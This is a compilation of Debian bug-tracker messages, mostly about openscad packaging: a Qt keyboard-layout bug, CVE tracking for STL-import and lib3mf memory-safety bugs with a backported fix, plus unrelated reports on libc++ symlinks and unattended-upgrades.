Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

The root cause of this problem with openscad is this upstream bug in Qt:

  https://bugreports.qt.io/browse/QTBUG-95108

The symptoms are that in some keyboard layouts, the Qt::GroupSwitchModifier
is handled incorrectly, causing some keys to not respond correctly in
certain applications.

This bug was introduced in Qt 5.15.5, and has been fixed in Qt 5.15.7.

The bug can be reproduced by temporarily switching layout:

  setxkbmap -model pc105 -layout de -variant neo

and starting the "openscad" program; in the editor, the  does not
work.

I verified that installing libqt5gui5 version 5.15.7+dfsg-1+b1 from
experimental fixes the problem.

So this bug can be closed when Qt 5.15.7 goes into unstable.

 - Kristian.

Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

"Dr. Nikolaus Klepp"  writes:

> Ok, setting the keyboard layout to US makes  working again. Here 3x 
> :

Thanks for the additional test. That data point does suggest that the QT bug
is the root cause.

>> 3. It would be interesting to try to downgrade Qt to some 5.15.4 version and
>> see if that solves the problem. However, I'm not sure how feasible that is,

> This is a thing most likely to solve the problem, 'cause the update I
> dis on 5th November replaced QT 5.15.4 with 5.15.6. Is there an
> archive where I can get the old version?

You can try snapshots.debian.org:

  http://snapshot.debian.org/

The 5.15.6 version entered Unstable on November 29, so something like this
should be a recent snapshot that contains the 5.15.4 version:

  http://snapshot.debian.org/archive/debian/20220928T030933Z/

I'll see if I can get a definite confirmation that the QT bug is the root
cause, and then probably re-assign this bug to QT.

Thanks,

 - Kristian.

Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

Thanks a lot for the additional information,

"Dr. Nikolaus Klepp"  writes:

> This is what I get when I run "openscad --debug=scintillaeditor":
>
> Pressing  3 times:
> scintillaeditor: KeyRelease - modifiers: shift ctrl alt meta keypad GROUP
> scintillaeditor: KeyRelease - modifiers: shift ctrl alt meta keypad GROUP
> scintillaeditor: KeyRelease - modifiers: shift ctrl alt meta keypad GROUP

There are two interesting observations here:

1. the GROUP modifier (which is Qt::GroupSwitchModifier) is always set, here
and below.

2. The code only sees KeyRelease events for the  key, no key presses,
which could explain why the key has no effect.

I found this Qt bug report, which could be relevant:

  https://bugreports.qt.io/browse/QTBUG-95108

This bug report mentions:

 - As seen in your case, the Qt::GroupSwitchModifier is always set.

 - As a consequence  and other non-printing characters do not work.

 - Apparently introduced in Qt 5.15.5; Unstable has 5.15.6.

 - The problem seems to depend on the keyboard layout.

So some things you could try:

1. Try temporarily setting another keyboard map, eg. plain US layout, and
see if it makes the problem go away (the GROUP modifier in the printout, and
the non-functional  key). I think maybe this command can do it:

  setxkbmap -model pc105 -layout us

2. See if you can reproduce the problem with the Qt example program
"codeeditor", as in the Qt bug. It is available from package
qtbase5-examples as
/usr/lib/x86_64-linux-gnu/qt5/examples/widgets/widgets/codeeditor/codeeditor

3. It would be interesting to try to downgrade Qt to some 5.15.4 version and
see if that solves the problem. However, I'm not sure how feasible that is,
the dependencies around Qt are probably quite complex. The bug also mentions
that reverting patch from QTBUG-49771 fixes their issue, but again I'm not
sure how easy it would be to get a rebuilt Qt with that patch reverted to
test with.

Would be good to determine if the bug QTBUG-95108 could be the root cause.
If not, I'll try to think of a way to debug what is eating the KeyPress
events before they get into the openscad Editor event handler code.

 - Kristian.

Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

I did not manage to find a way to reproduce myself. But I found that
openscad has some debugging option that may provide additional information.

Can you try to run openscad with the --debug option:

  openscad --debug=scintillaeditor

and then reproduce the problem with the ENTER key and note down the output
from the openscad program?

When I run it, I see output like this:

  scintillaeditor:   KeyPress - modifiers: shift ctrl alt meta keypad group
  scintillaeditor:   KeyPress - modifiers: SHIFT ctrl alt meta keypad group

For every key press and key release, it logs the modifiers received with the
event. It doesn't log which key was pressed, but you should be able to match
key press to output line by looking when the output appears relative to the
key-presses.

It would be useful to know what is (if any) logged for

 - A "shift+enter" key press, which inserts a linebreak correctly
 - An "enter" keypress without shift that is ignored incorrectly
 - Try using both the normal and numeric-pad enter key
 - What is logged for another key that works normally (space, letters)

This information will hopefully give a clue to why the "enter" key doesn't
work on its own.

Based on this I can try to build an openscad binary with more detailed
debugging printouts to hopefully track down the root cause of the issue. In
case this becomes necessary, do you prefer to build openscad yourself from a
git branch/patch; or for me to supply a (signed) temporary .deb with the
extra debugging?

 - Kristian.

Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

Kristian Nielsen  writes:

> I had some problems running openscad in my unstable/sid environment to try to
> reproduce this. I will try to solve this, but meanwhile...

I managed to run the latest openscad package in unstable. I did not see the
problem, the  key worked fine to insert a line break.

Anything special in your setup you can suggest is needed to reproduce the
problem?

 - Kristian.

Bug#1024757: Editor: -key ignored

[Kristian Nielsen]

"Dr. Nikolaus Klepp"  writes:

> Package: openscad
> Version: 2021.01-5+b2

> After yesterdays upgrade openscad ignores the -key
>
> Expected: 
> - press  --> editor performs linebreak.
>
> Observed:
> - press  --> nothing happen, the key is ignored.
> - press + --> editor performs linebreak.

Thanks for the report!
I had some problems running openscad in my unstable/sid environment to try to
reproduce this. I will try to solve this, but meanwhile...

> -key is working everywhere else. 

I believe openscad is using the scintilla widget for its editor. It looks
like packages such as juffed and octave are also using scintilla.

Can you test if the same problem occurs in one of the packages `juffed` and
`octave`, eg. by temporarily installing them? This would give a hint to
whether the problem is something general with scintilla, or specific to
openscad. (`octave --force-gui` opens octave with the editor).

For me, juffed and octave do not have the enter/shift+enter issue in latest
unstable/sid.

The new 2021.01-5+b2 should be a rebuild-only version for the libicu72
transition, there are no changes to openscad sources. But that doesn't
necessarily mean the problem is not with the openscad package, it could be
some interaction with the dependencies or something.

> The openscad 2021.01 Appimage also works as expected.

Useful info; this suggests it's not solely a problem with your environment,
eg. window manager or some such.

 - Kristian.

Bug#1020847: closed by Debian FTP Masters (reply to Sylvestre Ledru ) (Bug#1020847: fixed in llvm-toolchain-14 1:14.0.6-3)

[Kristian Høgsberg]

HmBktrG2hHyqljL/pDi4qPfzB+I3vz
> uis8/IDVVEnLiVMf3tElblSEfGb0tZ50P5IMQnFpSz0qVjV/vHCjqt5c4Vn8Vfj4
> pK34mHGXx4bgsECg33zUhCTzR5Orsqyq0PDxX3G5OP6T2ldKqlrRhzYeQlX4bHv7
> Y+jVnuiq6KgCJ51zNAYWFBjhY4pF+lCVTR+Vohw9Ob4NIT35k+tX+qxr4b6yOXxk
> rlNV1sY/JCWDkNvZCfsiyjQXeg6OOX68T00/JBaapy0ef3oKftKETu4i/7gQgAZH
> CaUeyrYDLrr42+Z72BhnnJARbJLHH+6r+Yf0zD01Vi7U5KUMcTwhDDb44EbVy0E5
> AKdG/cwnUkNFcrm57iTbDbO5Oeyu1KcqHh8PDnooMiVs6t6HYF5GoYbrkV/gFMee
> Rd8wPKsJwEp8xRkxCW+8JdDrkRm8q/BXt6rAVf4CGbQoamDD+Cs=
> =dJIP
> -END PGP SIGNATURE-
>
>
> -- Forwarded message --
> From: "Kristian H. Kristensen" 
> To: Debian Bug Tracking System 
> Cc:
> Bcc:
> Date: Tue, 27 Sep 2022 06:43:18 -0700
> Subject: libc++-14-dev: x86 symlinks in arm64 deb for libc++-14-deev
> Package: libc++-14-dev
> Version: 1:14.0.6-2
> Severity: important
> X-Debbugs-Cc: hoegsb...@gmail.com
>
> The package is not functional on arm64 system, as the symlinks to libc++
> and
> libunwind are placed under /usr/lib/x86_64-linux-gnu:
>
> krh@imperial-needle:~$ dpkg -L libc++-14-dev | grep x86
> /usr/lib/x86_64-linux-gnu
> /usr/lib/x86_64-linux-gnu/libc++.a
> /usr/lib/x86_64-linux-gnu/libc++.so
> krh@imperial-needle:~$ dpkg -L libunwind-14-dev | grep x86
> /usr/lib/x86_64-linux-gnu
> /usr/lib/x86_64-linux-gnu/libunwind.a
> /usr/lib/x86_64-linux-gnu/libunwind.so
>
>
>
> -- System Information:
> Debian Release: bookworm/sid
>   APT prefers testing
>   APT policy: (500, 'testing')
> Architecture: arm64 (aarch64)
>
> Kernel: Linux 5.18.0-4-arm64 (SMP w/8 CPU threads)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE
> not set
> Shell: /bin/sh linked to /usr/bin/dash
> Init: systemd (via /run/systemd/system)
> LSM: AppArmor: enabled
>
> Versions of packages libc++-14-dev depends on:
> ii  libc++1-141:14.0.6-2
> ii  libunwind-14-dev  1:14.0.6-2
>
> libc++-14-dev recommends no packages.
>
> libc++-14-dev suggests no packages.
>
> -- no debconf information
>

Bug#1020847: libc++-14-dev: x86 symlinks in arm64 deb for libc++-14-deev

[Kristian H. Kristensen]

Package: libc++-14-dev
Version: 1:14.0.6-2
Severity: important
X-Debbugs-Cc: hoegsb...@gmail.com

The package is not functional on arm64 system, as the symlinks to libc++ and
libunwind are placed under /usr/lib/x86_64-linux-gnu:

krh@imperial-needle:~$ dpkg -L libc++-14-dev | grep x86
/usr/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu/libc++.a
/usr/lib/x86_64-linux-gnu/libc++.so
krh@imperial-needle:~$ dpkg -L libunwind-14-dev | grep x86
/usr/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu/libunwind.a
/usr/lib/x86_64-linux-gnu/libunwind.so



-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: arm64 (aarch64)

Kernel: Linux 5.18.0-4-arm64 (SMP w/8 CPU threads)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages libc++-14-dev depends on:
ii  libc++1-141:14.0.6-2
ii  libunwind-14-dev  1:14.0.6-2

libc++-14-dev recommends no packages.

libc++-14-dev suggests no packages.

-- no debconf information

Bug#1017508: unattended-upgrades: kernel/linux-image-amd64 wrongfully updated from backports

[Kristian Rønningen]

Package: unattended-upgrades
Version: 2.9.1
Severity: normal
X-Debbugs-Cc: debian-...@nordhost.no

Dear Maintainer,

It seems in some circumstances, unattended-upgrades upgrades linux-image-amd64
from backports when it's not supposed to. I don't fully understand what's
happening, but it seems that the contents of Origins-Pattern is the cause of
some weird behaviour. For several days, unattended-upgrades would send me the
following mail output:

--8<-- Expected output, with no backports upgrades --8<--
Unattended upgrade result: No packages found that can be upgraded
 unattended and no pending auto-removals

Warning: A reboot is required to complete this upgrade, or a previous one.

Packages with upgradable origin but kept back:
 Debian Backports bullseye-backports:
  libcurl3-gnutls curl linux-image-amd64 libcurl4

Unattended-upgrades log:
Enabled logging to syslog via daemon facility 
Checking if system is running on battery is skipped. Please install 
powermgmt-base package to check power status and skip installing updates when 
the system is running on battery.
Starting unattended upgrades script
Allowed origins are: origin=Debian,codename=bullseye,label=Debian-Security, 
origin=Debian,codename=bullseye, origin=Debian,codename=bullseye-updates, 
origin=Debian Backports,codename=bullseye-backports,label=Debian Backports, 
origin=kernelcare.com,codename=stable, 
origin=Zabbix,codename=bullseye,label=zabbix
Initial blacklist: 
Initial whitelist (not strict): 
No packages found that can be upgraded unattended and no pending auto-removals
Package curl is kept back because a related package is kept back or due to 
local apt_preferences(5).
Package libcurl3-gnutls is kept back because a related package is kept back or 
due to local apt_preferences(5).
Package libcurl4 is kept back because a related package is kept back or due to 
local apt_preferences(5).
Package linux-image-amd64 is kept back because a related package is kept back 
or due to local apt_preferences(5).
--8<-- Expected output, with no backports upgrades --8<--

And then one day, I got this:

--8<-- Unexpected output, with backports upgrade of linux-image-amd64 --8<--
Unattended upgrade result: All upgrades installed

Warning: A reboot is required to complete this upgrade, or a previous one.

Packages that were upgraded:
 linux-image-amd64

Packages with upgradable origin but kept back:
 Debian Backports bullseye-backports:
  libcurl4 libcurl3-gnutls curl

Package installation log:
Log started: 2022-08-12  08:11:21
apt-listchanges: Reading changelogs...
apt-listchanges: Reading changelogs...
Selecting previously unselected package linux-image-5.18.0-0.bpo.1-amd64.
Preparing to unpack 
.../linux-image-5.18.0-0.bpo.1-amd64_5.18.2-1~bpo11+1_amd64.deb ...
Unpacking linux-image-5.18.0-0.bpo.1-amd64 (5.18.2-1~bpo11+1) ...
Preparing to unpack .../linux-image-amd64_5.18.2-1~bpo11+1_amd64.deb ...
Unpacking linux-image-amd64 (5.18.2-1~bpo11+1) over (5.10.127-2) ...
Setting up linux-image-5.18.0-0.bpo.1-amd64 (5.18.2-1~bpo11+1) ...
I: /vmlinuz.old is now a symlink to boot/vmlinuz-5.10.0-16-amd64
I: /initrd.img.old is now a symlink to boot/initrd.img-5.10.0-16-amd64
I: /vmlinuz is now a symlink to boot/vmlinuz-5.18.0-0.bpo.1-amd64
I: /initrd.img is now a symlink to boot/initrd.img-5.18.0-0.bpo.1-amd64
/etc/kernel/postinst.d/initramfs-tools:
update-initramfs: Generating /boot/initrd.img-5.18.0-0.bpo.1-amd64
/etc/kernel/postinst.d/zz-update-grub:
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.18.0-0.bpo.1-amd64
Found initrd image: /boot/initrd.img-5.18.0-0.bpo.1-amd64
Found linux image: /boot/vmlinuz-5.10.0-16-amd64
Found initrd image: /boot/initrd.img-5.10.0-16-amd64
Found linux image: /boot/vmlinuz-5.10.0-11-amd64
Found initrd image: /boot/initrd.img-5.10.0-11-amd64
done
Setting up linux-image-amd64 (5.18.2-1~bpo11+1) ...

Pending kernel upgrade!

Running kernel version:
  5.10.0-11-amd64

Diagnostics:
  The currently running kernel version is not the expected kernel version 
5.18.0-0.bpo.1-amd64.

Restarting the system to load the new kernel will not be handled automatically, 
so you should consider rebooting. [Return]

Services to be restarted:

Service restarts being deferred:
 /etc/needrestart/restart.d/dbus.service
 systemctl restart getty@tty1.service
 systemctl restart openvpn-server@amas-tcp.service
 systemctl restart systemd-logind.service
 systemctl restart unattended-upgrades.service

No containers need to be restarted.

No user sessions are running outdated binaries.
Log ended: 2022-08-12  08:12:05



Unattended-upgrades log:
Enabled logging to syslog via daemon facility 
Checking if system is running on battery is skipped. Please install 
powermgmt-base package to check power status and skip installing updates when 
the system is running on battery.
Starting unattended upgrades script
Allowed origins are: origin=Debian,codename=bullseye,label=Debian-Security, 
origin=Debian,codename=bullseye, 

Bug#1009682: ghostscript breaks openscad autopkgtest

[Kristian Nielsen]

Control: reassign

Thanks for the report, I will upload shortly a fixed openscad package.

 - Kristian.

Paul Gevers  writes:

> With a recent upload of ghostscript the autopkgtest of openscad fails
> in testing when that autopkgtest is run with the binary packages of 
> ghostscript from unstable. It passes when run with only packages from

Bug#1005641: openscad: Out-of-bounds memory access (CVE-2022-0496 and CVE-2022-0497)

[Kristian Nielsen]

Public upstream bug reports:

  https://github.com/openscad/openscad/issues/4037
  https://github.com/openscad/openscad/issues/4043

Bug#1005641: openscad: Out-of-bounds memory access (CVE-2022-0496 and CVE-2022-0497)

[Kristian Nielsen]

Source: openscad
Severity: important

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?

Upstream has reported two out-of-bounds memory access bugs, which have been
assigned CVEs:

  https://github.com/openscad/openscad-security-advisory/issues/3
  CVE-2022-0497
  https://github.com/openscad/openscad-security-advisory/issues/4
  CVE-2022-0496

The impact of the bugs looks not very severe at first glance (read access
outside og memory array). But since there are associated CVEs it seems
useful to track for Debian.

Patches, including backported versions, are available from upstream.

-- Package-specific info:
Output of /usr/share/bug/openscad:
$ glxinfo |grep 'OpenGL .* string:'
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) UHD Graphics 620 (KBL GT2)
OpenGL core profile version string: 4.6 (Core Profile) Mesa 20.3.5
OpenGL core profile shading language version string: 4.60
OpenGL version string: 4.6 (Compatibility Profile) Mesa 20.3.5
OpenGL shading language version string: 4.60
OpenGL ES profile version string: OpenGL ES 3.2 Mesa 20.3.5
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.20

-- System Information:
Debian Release: 11.2
  APT prefers stable-security
  APT policy: (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.10.0-8-amd64 (SMP w/8 CPU threads)
Kernel taint flags: TAINT_WARN
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

-- debconf-show failed

Bug#996023: Acknowledgement (buster-pu: package openscad/2019.01~RC2-2)

[Kristian Nielsen]

The openscad bug tracking this issue is #996020:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996020

 - Kristian.

Bug#996023: buster-pu: package openscad/2019.01~RC2-2

[Kristian Nielsen]

Package: release.debian.org
Severity: normal
Tags: buster
User: release.debian@packages.debian.org
Usertags: pu

[ Reason ]

This is a fix for two minor security issues in buster:

  https://security-tracker.debian.org/tracker/CVE-2020-28599
  https://security-tracker.debian.org/tracker/CVE-2020-28600

It was coordinated with the security team to take this through
buster-proposed-updates rather than handle through the security team.

[ Impact ]

In theory the bug could allow arbitrary code execution from loading a
carefully crafted STL file into desktop application openscad. OpenSCAD is a
script language/compiler for programatically building 3D models, eg. for
3D-printing purposes. STL is a file format for storing 3D model data. The
OpenSCAD language has functions for reading STL files. Thus to exploit this
bug would involve a user loading or writing an openscad script which
references the malicious STL file. Thus not too likely a scenario, but on
the other hand probably still well within what is considered a security
issue nowadays.

[ Tests ]

The patch (from upstream) includes test cases for the bugs. I verified that
these tests fail without the fix, and that they pass with the fix. In
addition, openscad has a comprehensive test suite, all of which passes in
the fixed package.

[ Risks ]

The risk from this upload is low:

 - The fix only touches the STL import function. All other functionality in
   the program is unaffected.
 - The patch has received extensive testing in later upstream releases.
 - The fix is covered in an automatic test suite, all of which passes.

The addition of new tests in the upload is not strictly necessary to fix the
bug. It seems good to include them (to have a higher confidence that the
backport of the fix actually works). But an alternative is to prepare a
smaller upload containg *just* the changes to the C++ source (and
corresponding d/changelog entry).

[ Checklist ]

  [X] *all* changes are documented in the d/changelog
  [X] I reviewed all changes and I approve them
  [X] attach debdiff against the package in (old)stable
  [X] the issue is verified as fixed in unstable

[ Changes ]

1. Fixes to the C++ source code import_stl() function to properly handle
invalid input files. This is a straight backport of the upstream fix.

2. Addition of three new tests to the automatic test suite, which test the
fix.

[ Other info ]

The attached debdiff contains three binary files. These are part of the
additions to the test suite. They are images containing the expected
graphical output of the openscad program from the tests.


buster_openscad_debdiff.txt
Description: Binary data

Bug#996020: openscad: Buffer overflows in STL parser (CVE-2020-28599, CVE-2020-28600)

[Kristian Nielsen]

Package: openscad
Version: 2019.01~RC2-2
Severity: important

There is a bug in the import() function in OpenSCAD when importing STL
files. Certain invalid files can cause out-of-bounds accesses, potentially
causing arbitrary code execution.

The bug is associated with these CVEs:

  https://security-tracker.debian.org/tracker/CVE-2020-28599
  https://security-tracker.debian.org/tracker/CVE-2020-28600

As seen in these links, the bug affects the openscad version in buster (and
stretch), but is fixed in newer upstream releases (meaning bullseye,
testing, and unstable are unaffected). The upstream fix is in this git
commit 07ea60f82e94a155f4926f17fad8e8366bc74874:

  
https://github.com/openscad/openscad/commit/07ea60f82e94a155f4926f17fad8e8366bc74874

This commit contains the fix to the C++ source code. It also adds tests to
the testsuite which test for this bug.

This is considered a minor security issue. The plan is to get it fixed in
buster through a point release.

 - Kristian.

-- Package-specific info:
Output of /usr/share/bug/openscad:
$ glxinfo |grep 'OpenGL .* string:'
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) UHD Graphics 620 (KBL GT2)
OpenGL core profile version string: 4.6 (Core Profile) Mesa 20.3.5
OpenGL core profile shading language version string: 4.60
OpenGL version string: 4.6 (Compatibility Profile) Mesa 20.3.5
OpenGL shading language version string: 4.60
OpenGL ES profile version string: OpenGL ES 3.2 Mesa 20.3.5
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.20

-- System Information:
Debian Release: 11.0
  APT prefers stable-security
  APT policy: (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.10.0-8-amd64 (SMP w/8 CPU threads)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages openscad depends on:
ii  lib3mf11.8.1+ds-4
ii  libboost-filesystem1.74.0  1.74.0-9
ii  libboost-program-options1.74.0 1.74.0-9
ii  libboost-regex1.74.0 [libboost-regex1.74.0-icu67]  1.74.0-9
ii  libc6  2.31-13
ii  libcairo2  1.16.0-5
ii  libdouble-conversion3  3.1.5-6.1
ii  libfontconfig1 2.13.1-4.2
ii  libfreetype6   2.10.4+dfsg-1
ii  libgcc-s1  10.2.1-6
ii  libgl1 1.3.2-1
ii  libglew2.1 2.1.0-4+b1
ii  libglib2.0-0   2.66.8-1
ii  libglu1-mesa [libglu1] 9.0.1-1
ii  libgmp10   2:6.2.1+dfsg-1
ii  libharfbuzz0b  2.7.4-1
ii  libhidapi-libusb0  0.10.1+dfsg-1
ii  libmpfr6   4.1.0-3
ii  libopencsg11.4.2-3
ii  libqscintilla2-qt5-15  2.11.6+dfsg-2
ii  libqt5core5a   5.15.2+dfsg-9
ii  libqt5dbus55.15.2+dfsg-9
ii  libqt5gamepad5 5.15.2-2
ii  libqt5gui5 5.15.2+dfsg-9
ii  libqt5multimedia5  5.15.2-3
ii  libqt5network5 5.15.2+dfsg-9
ii  libqt5widgets5 5.15.2+dfsg-9
ii  libspnav0  0.2.3-1+b2
ii  libstdc++6 10.2.1-6
ii  libx11-6   2:1.7.2-1
ii  libxml22.9.10+dfsg-6.7
ii  libzip41.7.3-1

Versions of packages openscad recommends:
ii  openscad-mcad  2019.05-1

Versions of packages openscad suggests:
pn  geomview  
pn  librecad  
ii  meshlab   2020.09+dfsg1-1
ii  openscad-testing  2021.01-2

-- no debconf information

Bug#985903: lib3MF.so.1: undefined symbol: zip_fclose

[Kristian Nielsen]

Not 100% clear what the issue(s) reported here are, but I looked through the
patches, and saw these:

1. Some libz/libzip changes. I'm guessing these are to avoid having to add
-lz/-lzip to the using project? There was a related change in the recent
NMU, 1.8.1+ds-3.1, which instead adds links to these libraries. This might
fix the problem reported here also.

2. There are some code-style changes (and a -Wall which may have triggered
these), these may be reasonable but perhaps not too relevant for the Debian
packaging.

3. There is what looks like a fix of a genuine mistake in the code
(always-true conditional). I files this upstream here:

  https://github.com/3MFConsortium/lib3mf/issues/262

Is there any user impact from this bug, or was it perhaps just something
noticed from -Wall? (At this stage an important impact is needed to include
a fix in the bullseye release).

 - Kristian.

Bug#986328: unblock: lib3mf/1.8.1+ds-4

[Kristian Nielsen]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package lib3mf

[ Reason ]

This is a targeted fix, a backport of upstream fix for CVE-2021-21772, which
is a use-after-free on user-controlled input:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=985092
  https://github.com/3MFConsortium/lib3mf/issues/254

[ Impact ]

This is a published security bug in upstream lib3mf.

[ Tests ]

 - We obtained a (non-published) .3mf that triggers the bug. I verified
   (with Valgrind) that opening this 3MF file triggers a use-after-free in
   lib3mf_1.8.1+ds-3.1 and that it does not in lib3mf_1.8.1+ds-4.

 - Package `openscad', the main reverse dependency, has a comprehensive
   testsuite which passes with lib3mf_1.8.1+ds-4.

[ Checklist ]
  [x] all changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [x] attach debdiff against the package in testing

unblock lib3mf/1.8.1+ds-4

-- System Information:
Debian Release: 10.9
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.4.0-0.bpo.4-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_UNSIGNED_MODULE
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
diff -Nru lib3mf-1.8.1+ds/debian/changelog lib3mf-1.8.1+ds/debian/changelog
--- lib3mf-1.8.1+ds/debian/changelog2020-12-06 02:27:21.0 +0100
+++ lib3mf-1.8.1+ds/debian/changelog2021-04-01 21:25:54.0 +0200
@@ -1,3 +1,10 @@
+lib3mf (1.8.1+ds-4) unstable; urgency=medium
+
+  * Fix use-after-free (CVE-2021-21772), backporting fix from v2.1.1
+(Closes: #985092)
+
+ -- Kristian Nielsen   Thu, 01 Apr 2021 21:25:54 
+0200
+
 lib3mf (1.8.1+ds-3.1) unstable; urgency=medium
 
   * Non-maintainer upload.
diff -Nru lib3mf-1.8.1+ds/debian/control lib3mf-1.8.1+ds/debian/control
--- lib3mf-1.8.1+ds/debian/control  2019-01-20 18:32:34.0 +0100
+++ lib3mf-1.8.1+ds/debian/control  2021-04-01 21:25:54.0 +0200
@@ -2,6 +2,7 @@
 Section: libs
 Priority: optional
 Maintainer: Torsten Paul 
+Uploaders: Kristian Nielsen 
 Build-Depends: debhelper (>=12~), pkg-kde-tools, cmake, libzip-dev, 
zlib1g-dev, uuid-dev
 Standards-Version: 4.3.0
 Homepage: https://github.com/3MFConsortium/lib3mf
diff -Nru lib3mf-1.8.1+ds/debian/patches/fix_use_after_free.patch 
lib3mf-1.8.1+ds/debian/patches/fix_use_after_free.patch
--- lib3mf-1.8.1+ds/debian/patches/fix_use_after_free.patch 1970-01-01 
01:00:00.0 +0100
+++ lib3mf-1.8.1+ds/debian/patches/fix_use_after_free.patch 2021-04-01 
21:25:54.0 +0200
@@ -0,0 +1,76 @@
+From: Kristian Nielsen 
+Date: Thu, 1 Apr 2021 21:28:00 +0100
+Subject: Remove unnecessary zip_source_close
+
+This patch fixes CVE-2021-21772, a use-after-free bug. It is a
+backport of the upstream fix in v2.1.1.
+
+Forwarded: not-needed
+---
+ Include/Common/OPC/NMR_OpcPackageReader.h  |  1 -
+ Source/Common/OPC/NMR_OpcPackageReader.cpp | 16 ++--
+ 2 files changed, 6 insertions(+), 11 deletions(-)
+
+--- a/Include/Common/OPC/NMR_OpcPackageReader.h
 b/Include/Common/OPC/NMR_OpcPackageReader.h
+@@ -54,7 +54,6 @@ namespace NMR {
+   std::vector m_Buffer;
+   zip_error_t m_ZIPError;
+   zip_t * m_ZIParchive;
+-  zip_source_t * m_ZIPsource;
+   std::map  m_ZIPEntries;
+   std::map  m_Parts;
+ 
+diff --git a/Source/Common/OPC/NMR_OpcPackageReader.cpp 
b/Source/Common/OPC/NMR_OpcPackageReader.cpp
+index 16dd2e8c..4f3a604d 100644
+--- a/Source/Common/OPC/NMR_OpcPackageReader.cpp
 b/Source/Common/OPC/NMR_OpcPackageReader.cpp
+@@ -111,7 +111,7 @@ namespace NMR {
+   m_ZIPError.sys_err = 0;
+   m_ZIPError.zip_err = 0;
+   m_ZIParchive = nullptr;
+-  m_ZIPsource = nullptr;
++  zip_source_t* pZIPsource = nullptr;
+ 
+   try {
+   // determine stream size
+@@ -131,20 +131,20 @@ namespace NMR {
+ #endif
+   if (bUseCallback) {
+   // read ZIP from callback: faster and requires 
less memory
+-  m_ZIPsource = 
zip_source_function_create(custom_zip_source_callback, pImportStream.get(), 
_ZIPError);
++  pZIPsource = 
zip_source_function_create(custom_zip_source_callback, pImportStream.get(), 
_ZIPError);
+   }
+   else {
+   // read ZIP into memory
+   m_Buffer.resize((size_t)nStreamSize);
+   pImportStream->readBuffer(_Buffer[0], 
nStreamSize, true);
+-  m_ZIPsource = 
zip_source_buffer_

Bug#978717: RFS: openscad/2019.05-4 [RC] -- script file based graphical CAD environment

[Kristian Nielsen]

Package: sponsorship-requests
Severity: important

Dear mentors,

I am looking for a sponsor for a new upload for package "openscad", which I
have been maintaining for a couple years. This upload fixes a FTBFS and is
needed to get openscad back into the archive.

 * Package name: openscad
   Version : 2019.05-4
   Upstream Author : Clifford Wolf, Marius Kintel, and others
 * URL : http://openscad.org/
 * License : QtCommercial or LGPL-2.1 with some exception or GPL-3, 
Apache-2.0, PD-trochoids or LGPL-2.1, BSD-2-clause or LGPL-2.1, 
PD-nefercheprure or LGPL-2.1, GPL-2+ with CGAL exception and pythonparts, 
AGPL-3, GPL-3+, CC or LGPL-2.1, GPL-3 or LGPL-2.1, LGPL-2.1, zlib, PD, LGPL-2 
or LGPL-2.1, CC0-1.0, SIL-OFL, CC-BY-3.0 or LGPL-2.1, MIT, MIT-MCAD or 
LGPL-2.1, GPL-2+, GPL-2+ with CGAL exception, LGPL-3 or LGPL-2.1, CC0, 
CC-BY-SA-3.0 or LGPL-2 or LGPL-2.1
 * Vcs : https://salsa.debian.org/knielsen-guest/openscad
   Section : graphics

It builds those binary packages:

  openscad-testing-data - script file based graphical CAD environment (test 
suite data)
  openscad-testing - script file based graphical CAD environment (test suite)
  openscad - script file based graphical CAD environment

To access further information about this package, please visit the following 
URL:

  https://mentors.debian.net/package/openscad/

Alternatively, one can download the package with dget using this command:

  dget -x 
https://mentors.debian.net/debian/pool/main/o/openscad/openscad_2019.05-4.dsc

Changes since the last upload:

 openscad (2019.05-4) unstable; urgency=medium
 .
   * Make openscad-testrun default to run tests in parallel.
   * Limit --parallel build based on available memory (Closes: #945162).
   * Fix build with newer boost library (Closes: #977225).
   * Clean up some lintian warnings.

 - Kristian.

Bug#921815: debootstrap umount "host" /proc when running in a Docker container

[Kristian Klausen]

control: tags -1 -moreinfo

Hi
Sorry for the late response. I wasn't subscribed to the bug (I assume?).

On 23.02.2020 14.01, Hideki Yamane wrote:

